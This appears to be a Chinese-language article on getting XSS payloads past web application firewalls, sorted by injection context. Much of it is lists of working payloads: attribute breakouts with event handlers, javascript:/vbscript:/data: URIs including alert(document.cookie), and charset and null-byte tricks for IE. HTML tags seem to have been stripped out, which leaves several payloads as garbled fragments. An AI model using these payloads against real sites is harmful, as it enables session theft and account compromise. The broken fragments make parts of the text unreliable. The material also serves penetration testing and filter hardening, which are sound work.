code属性
// Firefox有效
事件触发
/
最短的测试向量
//在限制长度的地方很有效
嵌套
/onstart=confirm(1)>
Save //IE8有效
过滤括号的情况下
当括号被过滤的时候可以使用throw来绕过
以上两个测试向量在Chrome跟IE在上面会出现一个“uncaught”的错误,可以用以下的向量:
expression属性
// IE7以下
// IE7以下
// IE7以下
location属性
click
123
其他的一些payload
click
当= ( ) ; :被过滤时
// 通杀所有浏览器
opera中可以不闭合
实体编码
很多情况下WAF会实体编码用户的输入数据,
javascript是一个很灵活的语言,可以使用很多编码,比如十六进制,Unicode和HTML。但是也对这些编码可以用在哪个位置有规定:
属性:
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
支持的编码方式:HTML,八进制,十进制,十六进制和Unicode
属性:
data=
支持的编码:base64
基于上下文的过滤
WAF最大的问题,在于不知道输出的位置的上下文,导致根据具体环境可以绕过。
输入在属性里
可控位置为XSStest,可以使用
">
如果被过滤的话可以换成
" autofocus onfocus=alert(1)//
同样还有很多其他的payload:
"onmouseover=" prompt(0)x="
"onfocusin=alert(1) autofocusx="
" onfocusout=alert(1) autofocus x="
"onblur=alert(1) autofocusa="
输入在script标签中
例如:
可控位置在Input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了
";alert(1)//
最终结果就是
非常规的事件监听
例如:
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//
下面是一些相同的类:
DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified
HREF内容可控
例如:
Click
可控的是Userinput那里我们需要做的只是把javascript代码输入就好了:
javascript:alert(1)//
最后组合为:
Click
变换
使用HTML实体URL编码绕过黑名单,href里会自动实体解码,如果都失败了,可以尝试使用vbscript在IE10以下都有效,或者使用data协议。
JavaScript变换
使用javascript协议时可使用的例子:
javascript:alert(1)
javaSCRIPT:alert(1)
JaVaScRipT:alert(1)
javas	cript:u0061lert(1);
javascript:u0061lert(1)
javascript:alert(document.cookie)
Vbscript变换
vbscript:alert(1);
vbscript:alert(1);
vbscr	ipt:alert(1)"
Data URl
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
JSON
当你的输入会在encodeURIComponent当中显示出来的时候,很容易插入xss代码了
encodeURIComponent('userinput')
userinput处可控,测试代码:
-alert(1)-
-prompt(1)-
-confirm(1)-
最终结果:
encodeURIComponent("-alert(1)-")
encodeURIComponent("-prompt(1)-")
SVG标签
当返回结果在svg标签中的时候,会有一个特性
YourInput可控,输入
www.site.com/test.php?var=text";alert(1)//
如果把"编码一些他仍然能够执行:
浏览器bug
字符集的bug在IE中出现过很多次,第一个就是UTF-7,但是这个只在之前的版本中可用,现在讨论一个在现在的浏览器当中可以执行的javascript。
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
这个页面当中我们可控当前页面的字符集,当我们常规的测试时:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=">
返回结果可以看到双引号被编码了:
设置字符集为UTF-32:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
上面这个在IE9及以下版本可以执行成功。
利用0字节绕过:
alert(1); %00pt>
alert(1); %00pt>
confirm(0); %00c%00r%00%00ip%00t>
在IE9及以下版本有效。
其他等等一系列浏览器特性的XSS可以参考以下文章:Browser Security-超文本标记语言(HTML)
0x02 总结
本文主要是一个测试XSS的思路流程,并没有把所有的payload写全,其实也没有人能够写全,只是列了一个大体的框架,大家实际在寻找的过程中可以不断慢慢的根据这种思路补充自己的payload,想必呢,一定会有很大的进步的!~
[原文地址]
评论